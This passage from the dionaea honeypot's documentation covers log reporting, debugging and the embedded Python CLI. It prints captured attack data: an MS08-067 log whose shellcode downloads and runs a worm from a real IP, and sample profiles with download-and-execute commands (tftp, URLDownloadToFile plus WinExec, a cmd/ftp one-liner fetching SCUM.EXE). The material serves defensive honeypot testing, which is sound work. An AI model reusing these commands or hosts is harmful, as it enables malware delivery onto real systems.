  cc85-3a74-8b15-29e030cdac16' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid '9acbde5b-25e1-7283-1f10-a3a292e73676' (None) transfersyntax 8a885d04-
  1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid '9f7e2197-9e40-bec9-d7eb-a4b0f137fe95' (None)
  transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid 'a71e0ebe-6154-e021-
  9104-5ae423e682d0' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind:
  uuid 'b3332384-081f-0e95-2c4a-302cc3080783' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-
  08002b104860 dcerpc bind: uuid 'c0cdf474-2d09-f37f-beb8-73350c065268' (None) transfersyntax
  8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid 'd89a50ad-b919-f35c-1c99-4153ad1e6075'
  (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc bind: uuid 'ea256ce5-8ae1-
  c21b-4a17-568829eec306' (None) transfersyntax 8a885d04-1ceb-11c9-9fe8-08002b104860 dcerpc
  request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) opnum 31 (NetPathCanoni-
  calize (MS08-67)) profile: [{ 'return': '0x7df20000', 'args': ['urlmon'], 'call': 'LoadLibraryA'},
  { 'return': '0', 'args': ['', 'http://208.53.183.158/m.exe', '60.exe', '0', '0'], 'call': 'URLDownload-
  ToFile'}, { 'return': '32', 'args': ['60.exe', '895'], 'call': 'WinExec'}, { 'return': '0', 'args': ['-1'],
  'call': 'Sleep'}] offer: http://208.53.183.158/m.exe download: 3eab379ddac7d80d3e38399fd273ddd4
  http://208.53.183.158/m.exe
```

virustotal 2010-10-07 04:59:07 5/38 (13%) <http://www.virustotal.com/file-scan/report.html?id=265e39edcba9d90>

```
names 'High Risk Fraudulent Security Program' 'Suspicious file' 'Tro-
jan.DownLoader1.27100' 'Worm.Win32.Rimecud' 'Worm:Win32/Rimecud.B'
```

To create such report for your own honeypots activities for the last 24 hours run:

```
./readlogsqltree.py -t $(date '+%s')-24*3600 /opt/dionaea/var/dionaea/logsql.sqlite
```

```
gnuplotsql <#gnuplotsql> - modules/python/gnuplotsql.py
```

gnuplotsql is a very slow python3 script which runs some queries on the logsql <#logsql> sqlite database and creates graphs with gnuplot of the data, stores them on disk and creates an index of the data. The images are per protocol and look like this: Overview for dionaea smbd. Here <gnuplotsql> is how the whole thing looks like. To create such images of your own data, run:

```
./gnuplotsql.py -d /opt/dionaea/var/dionaea/logsql.sqlite -p smbd -p epmapper -p mssqld -p httpd -p ftpd
```

The blog got something on gnuplotsql as well:

- 2010-12-05 sudden death <http://carnivore.it/2010/12/05/sudden_death>
- 2010-10-01 Infosanity's Blog: gnuplotsql.py <<http://blog.infosanity.co.uk/2010/10/01/gnuplotsql-py/>>
- 2010-09-19 gnuplotsql <<http://carnivore.it/2010/09/19/gnuplotsql>>

```
pg_backend <#pg_backend> - modules/python/xmpp/pg_backend.py
```

pg_backend is the backend for logxmpp <#logxmpp>, currently it is a python2.x script which uses pyxmpp to access the xmpp service. It parses the messages received and can store the events in a postgres database and the received files on disk. pg_backend requires an xmpp account. /without db/

```
./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C
anon-events -f /tmp/
```

/with db/ create database

```
psql ...
```

start backend

```
./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C
anon-events -s DBHOST -u DBUSER -d xmpp -p DBPASS -f /tmp/
```

Segfault

In case you experience a segfault, you will see something like this:

This is the end. This software just had a segmentation fault. The bug you encountered may even be exploitable. If you want to assist in fixing the bug, please send the backtrace below to nepenthesdev@gmail.com. You can create better backtraces with gdb, for more information visit <http://dionaea.carnivore.it/#segfault> Once you read this message, your tty may be broken, simply type reset, so it will come to life again

```
/opt/dionaea/bin/dionaea(sigsegv_backtrace_cb+0x20)[0x805c11e] [0x70d420] /opt/dionaea/lib/libemu/libemu.so.2(emu_env_w32_eip
/opt/dionaea/lib/dionaea/emu.so(run+0x39)[0x89cced] /opt/dionaea/lib/dionaea/emu.so(profile+0xbb)[0x89db88]
/opt/dionaea/lib/dionaea/emu.so(proc_emu_on_io_in+0x1e1)[0x89bfc5] /opt/dionaea/bin/dionaea(recurse_io_process+0x31)[0x805df4]
/opt/dionaea/bin/dionaea(processors_io_in_thread+0x85)[0x805e08d] /opt/dionaea/bin/dionaea(threadpool_wrapper+0x2e)[0x805c99a]
/opt/dionaea/lib/libglib-2.0.so.0[0xaa9498] /opt/dionaea/lib/libglib-2.0.so.0[0xaa7a2f] /lib/libpthread.so.0[0xd8973b]
/lib/libc.so.6(clone+0x5e)[0x2b3cfe]
```

While the backtrace itself gives an idea what might be wrong, it does not fix the problem. To fix the problem, the logfiles usually help, as dionaea is very verbose by default. Below are some hints how to get started with debugging, click here <#support> for assistance.

debugging

Valgrind

Valgrind does a great job, here is how I use it:

```
valgrind -v --leak-check=full --leak-resolution=high --show-reachable=yes --log-file=dionaea-debug.log
/opt/dionaea/bin/dionaea --my-dionaea-options
```

gdb

logfile assisted

For the above example, I was able to scrape the shellcode from the logfile, and run it in libemu, without involving dionaea at all, reducing the problem.

```
gdb /opt/dionaea/bin/sctest (gdb) run -S -s 10000000 -g < sc.bin Starting program: /me-
dia/sda4/opt64/dionaea/bin/sctest -S -s 10000000 -g < sc.bin
```

Once it crashed, I retrieved a full backtrace:

Program received signal SIGSEGV, Segmentation fault. env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545 struct emu_env_hook *hook = (struct emu_env_hook *)ehi->value;

(gdb) bt full #0 env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/win32/env_w32_dll_export_kernel32_hooks.c:545

dll = 0x6366f0 ehi = <value optimized out> hook = <value optimized out> c = 0x611180 mem = <value optimized out> eip_save = <value optimized out> module = 2088763392 p_procname = 4289925 procname = <value optimized out>

#1 0x00007ffff7b884fb in emu_env_w32_eip_check (env=0x629a30) at environment/win32/emu_env_w32.c:306
dll = <value optimized out> ehi = <value optimized out> hook = 0x64c5b0 eip = <value optimized out>

#2 0x000000000403995 in test (e=0x60f0e0) at sctestmain.c:277 hook = 0xe2 ev = 0x0 iv = <value optimized out> cpu = 0x611180 mem = <value optimized out> env = 0x629a30 na = <value optimized out> j = 7169 last_vertex = 0x0 graph = 0x0 eh = 0x0 ehi = 0x0 ret = <value optimized out> eipsave = 2088807840

#3 0x0000000004044e4 in main (argc=5, argv=0x7ffffffe388) at sctestmain.c:971 e = <value optimized out>

In this case, the problem was a bug in libemu.

gdb dump memory

Once again, it broke, and we got a backtrace:

#0 0xb70b0b57 in emu_queue_enqueue (eq=0xb3da0918, data=0x4724ab) at emu_queue.c:63 eqi = (struct emu_queue_item *) 0x0

#1 0xb70b15d1 in emu_shellcode_run_and_track (e=0xb4109cd0, data=0xb411c698 "", datasize=<value optimized out>, eipoffs

steps=256, etas=0xb410cd60, known_positions=0xb3d7a810, stats_tested_positions_list=0xb3da3bf0, brute_force=true) at emu_shellcode.c:546
current_pos_ti_diff = (struct emu_tracking_info *) 0x88c3c88 current_pos_ht = <value optimized out> current_pos_v = <value optimized out> current_pos_satii = (struct emu_source_and_track_instr_info *) 0xb407e7f8 bfs_queue = (struct emu_queue *) 0xb3e17668 ret = 4662443 eipsave = <value optimized out> hook = <value optimized out> j = 4 es = <value optimized out> eli = (struct emu_list_item *) 0xb3e17658 cpu = (struct emu_cpu *) 0xb4109ab0 mem = (struct emu_memory *) 0xb410c3a0 eq = (struct emu_queue *) 0xb3da0918 env = (struct emu_env *) 0xb3e10208 eli = (struct emu_list_item *) 0x4724ab

#2 0xb70b1a2a in emu_shellcode_test (e=0xb4109cd0, data=0xb411c698 "", size=<value optimized out>) at emu_shellcode.c:546
es = (struct emu_stats *) 0xb3d92b28 new_results = (struct emu_list_root *) 0xb3da3bf0 offset = <value optimized out> el = (struct emu_list_root *) 0xb4100510 etas = (struct emu_track_and_source *) 0xb410cd60 eh = (struct emu_hashtable *) 0xb3d7a810 eli = (struct emu_list_item *) 0xb3d92b40 results = (struct emu_list_root *) 0xb3d82850 es = <value optimized out> __PRETTY_FUNCTION__ = "emu_shellcode_test"

#3 0xb712140c in proc_emu_on_io_in (con=0x8864b58, pd=0x87dc388) at detect.c:145 e = (struct emu *) 0xb4109cd0 ctx = (struct emu_ctx *) 0x87a2400 offset = 14356 streamdata = (void *) 0xb411c698 size = 8196 ret = 0 __PRETTY_FUNCTION__ = "proc_emu_on_io_in"

#4 0x0805e8be in recurse_io_process (pd=0x87dc388, con=0x8864b58, dir=bistream_in) at processor.c:167 No locals. **#5 0x0805ea01 in processors_io_in_thread (data=0x8864b58, userdata=0x87dc388) at processor.c:197**

con = (struct connection *) 0x8864b58 pd = (struct processor_data *) 0x87dc388 __PRETTY_FUNCTION__ = "processors_io_in_thread"

#6 0x0805d2da in threadpool_wrapper (data=0x87d7bd0, user_data=0x0) at threads.c:49 t = (struct thread *) 0x87d7bd0 timer = (GTimer *) 0xb4108540

#7 0xb77441f6 in g_thread_pool_thread_proxy (data=0x83db460) at gthreadpool.c:265 task = (gpointer) 0x87d7bd0 pool = (GRealThreadPool *) 0x83db460

#8 0xb7742b8f in g_thread_create_proxy (data=0x83dc7d0) at gthread.c:635 `__PRETTY_FUNCTION__` = "g_thread_create_proxy"

#9 0xb76744c0 in start_thread () from /lib/i686/cmov/libpthread.so.0 No symbol table info available. #10 0xb75f36de in clone () from /lib/i686/cmov/libc.so.6 No symbol table info available.

Again, it was a bug in libemu, an unbreakable loop consuming all memory. To reproduce, we have to dump the tested buffer, therefore we need the buffers address and size. Luckily the size is noted in frame #2 as 8196 and the data address is a parameter which got not optimized out for frame #2.

dump binary memory /tmp/sc.bin 0xb411c698 0xb411e89c

Afterwards, debugging libemu by feeding the data into sctest is easy.

I've had fun with objgraph and gdb debugging reference count leaks in python too, here http://carnivore.it/2009/12/23/arcane_bugs is the writeup.

`gdb python3 embedded`

Sometimes, there is something wrong with the python scripts, but gdb does not provide any useful output:

bt full #12 0xb765f12d in PyEval_EvalFrameEx (f=0x825998c, throwflag=0) at Python/ceval.c:2267

```
stack_pointer = (PyObject **) 0x8259af0 next_instr = (unsigned char ) 0x812fabf "m"
opcode = 100 oparg = <value optimized out> why = 3071731824 err = 1 x = (Py-
Object *) 0xb7244aac v = <value optimized out> w = (PyObject *) 0xad5e4dc u
= (PyObject *) 0xb775ccb0 freevars = (PyObject *) 0x8259af0 retval = (PyObject
*) 0x0 tstate = (PyThreadState *) 0x809aab0 co = (PyCodeObject *) 0xb717b800 in-
str_ub = -1 instr_lb = 0 instr_prev = -1 first_instr = (unsigned char *) 0x812f918 "t"
names = (PyObject *) 0xb723f50c consts = (PyObject *) 0xb71c9f7c opcode_targets
= {0xb765d202, 0xb765f60a, 0xb766133a, 0xb76612db, 0xb7661285, 0xb7661222,
0xb765d202, 0xb765d202, 0xb765d202, 0xb76611dd,
```

```
0xb766114b, 0xb76610b9, 0xb766100f, 0xb765d202, 0xb765d202, 0xb7660f7d, 0xb765d202,
0xb765d202, 0xb765d202, 0xb7660eb7, 0xb7660dfb, 0xb765d202, 0xb7660d30, 0xb7660c65,
0xb7660ba9, 0xb7660aed, 0xb7660a31, 0xb7660975, 0xb76608b9, 0xb76607fd, 0xb765d202 <re-
peats 24 times>, 0xb7660736, 0xb766066b, 0xb76605af, 0xb76604f3, 0xb765d202, 0xb7660437,
0xb766035d, 0xb76602ad, 0xb7661aba, 0xb76619fe, 0xb7661942, 0xb7661886, 0xb7661b76,
0xb76614a8, 0xb7661413, 0xb766138e, 0xb766171f, 0xb76616e6, 0xb765d202, 0xb765d202,
0xb765d202, 0xb766162a, 0xb766156e, 0xb76601f1, 0xb7660135, 0xb76617ca, 0xb7660120,
0xb765fff7, 0xb765d202, 0xb765fd72, 0xb765fc6e, 0xb765d202, 0xb765fc1d, 0xb765fe17, 0xb765fd90,
0xb765fec0, 0xb765fb41, 0xb765fadc, 0xb765f9ed, 0xb765f94d, 0xb765f8be, 0xb765f7e3, 0xb765f779,
0xb765f6bd, 0xb765f66c, 0xb765ef1d, 0xb765eea2, 0xb765ede1, 0xb765ed1a, 0xb765ec35,
0xb765ebc3, 0xb765eb30, 0xb765ea69, 0xb765f1c7, 0xb765f027, 0xb765f560, 0xb765efc1,
0xb76630e3, 0xb766310c, 0xb765e64c, 0xb765e592, 0xb765f49a, 0xb765f3de, 0xb765d202,
0xb765d202, 0xb765f39e, 0xb7663135, 0xb766315f, 0xb765e9cb, 0xb765d202, 0xb765e948,
0xb765e8bb, 0xb765e817, 0xb765d202, 0xb765d202, 0xb765d202, 0xb765d2ae, 0xb765e3e0,
0xb7663275, 0xb765e1a2, 0xb766324e, 0xb765e0ba, 0xb765e01e, 0xb765df74, 0xb765d202,
0xb765d202, 0xb7663189, 0xb76631d3, 0xb7663220, 0xb765e149, 0xb765d202, 0xb765de09,
0xb765dec0, 0xb765f2c0, 0xb765d202 <repeats 108 times>}
```

#13 0xb7664ac0 in PyEval_EvalCodeEx (co=0xb717b800, globals=0xb7160b54, locals=0x0, args=0x84babb8, argcount=9, kws=0x84babb8, kwdefs=0x0, closure=0x0) at Python/ceval.c:3198 f = (PyFrameObject *) 0x825998c retval =

```
<value optimized out> freevars = (PyObject *) 0x8259af0 tstate = (PyThreadState *) 0x809aab0 x =
<value optimized out> u = <value optimized out>
```

Luckily python3 ships with some gdb macros, which assist in dealing with this mess. You can grab them over here <http://svn.python.org/view/python/tags/r311/Misc/gdbinit?view=markup>, place them to ~/.gdbinit, where ~ is the

homedirectory of the user dionaea runs as. If you get */warning: not using untrusted file "/home/user/.gdbinit"/* you are running gdb via sudo, and the file /home/user/.gdbinit has to be owned by root. If you are running as root, and you get */Program received signal SIGTTOU, Stopped (tty output)./*, run `stty -nostop` before running gdb, reattach the process with `fg`, close gdb properly, and start over.

Once you got the macros loaded properly at gdb startup, set a breakpoint on `PyEval_EvalFrameEx` after dionaea loaded everything:

```
break PyEval_EvalFrameEx
```

Then we have some useful macros for gdb:

```
up pyframev
```

`pyframev` combines the output of `pyframe` and `pylocals`.

Be aware you can segfault dionaea now from within gdb, going up, out of the python call stack and calling some of the macros can and in most cases will segfault dionaea, therefore use `backtrace` to make sure you are still within valid frames. We can't use `pystack` or `pystackv` as they rely on `Py_Main`, which is an invalid assumption for embedded python.

dionaea embeds a python interpreter, and can offer a python cli therefore too. *The python cli is blocking*, if you start entering a command, the whole process will wait for you to finish it, and not accept any new connections. You can use the python cli to interact with dionaea, which is very useful for development and debugging.

22.1 Configuration

You can access the dionaea.conf via python (readonly):

```
from dionaea import g_dionaea
g_dionaea.config()
```

22.2 Completion and History on the CLI

If you use the cli often, you can make it behave like a real shell, including history and completion.:

```
import rlcompleter, readline
readline.parse_and_bind('tab: complete')
```

22.3 Triggering Downloads

Sometimes it helps to trigger a download, without waiting for an attack. Very useful if you want to verify permissions are correct when switching the user, or making sure a submission to a 3rd party works correctly. You can trigger downloads for all major protocols.

22.4 ftp

```
from dionaea.ftp import ftp
f = ftp()
f.download(None, 'anonymous', 'guest', 'ftp.kernel.org', 21, 'welcome.msg', 'binary',
↳ 'ftp://ftp.kernel.org/welcome.msg')
```

22.5 tftp

```
from dionaea.tftp import TftpClient
t = TftpClient()
t.download(None, 'tftp.example.com', 69, 'filename')
```

22.6 http

As the http download is not done in python, we do not use the download facility directly, but create an incident, which will trigger the download:

```
from dionaea.core import incident
i = incident("dionaea.download.offer")
i.set("url", "http://www.honeynet.org")
i.report()
```

22.7 incidents

incidents are the ipc used in dionaea.

22.8 dumping

```
from dionaea.core import ihandler
class idumper(ihandler):
    def __init__(self, pattern):
        ihandler.__init__(self, pattern)
    def handle(self, icd):
        icd.dump()

a = idumper('*')
```

22.9 emu profile

Small collection of various shellcode profiles gathered from dionaea.

22.10 CreateProcess Commands

This profile will trigger a download via tftp.

```
p='[{"call": "CreateProcess", "args": ["", "tftp.exe -i 92.17.46.208 get ssms.exe", "
↳", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput
↳": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0",
↳ "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved":
↳ "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0",
↳ "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714
↳", "hThread": "4712"}], "return": "-1"}, {"call": "CreateProcess", "args": ["",
↳ "ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0
↳", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0
↳", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0",
↳ "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize
↳": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId
↳": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "ExitThread", "args": ["0
↳", "return": "0"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
i.report()
```

22.11 URLDownloadToFile

This profile will trigger a download.

```
p='[{"call": "LoadLibraryA", "args": ["urlmon"], "return": "0x7df20000"}, {"call":
↳ "URLDownloadToFile", "args": ["", "http://82.165.32.34/compiled.exe", "47.scr", "0",
↳ "0"], "return": "0"}, {"call": "WinExec", "args": ["47.scr", "895"], "return": "32
↳"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
i.report()
```

22.12 WinExec Commands

This profile uses WinExec to create a command file for windows ftp client, downloads a file, and executes the file.:

```
p='[{"call": "WinExec", "args": ["cmd /c echo open welovewarez.com 21 > i&echo user_
↳ wat 1011 >> i &echo get SCUM.EXE >> i &echo quit >> i &ftp -n -s:i &SCUM.EXE\\r\\n",
↳ "0"], "return": "32"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
i.report()
```


CHAPTER 23

Indices and tables

- `genindex`
- `modindex`
- `search`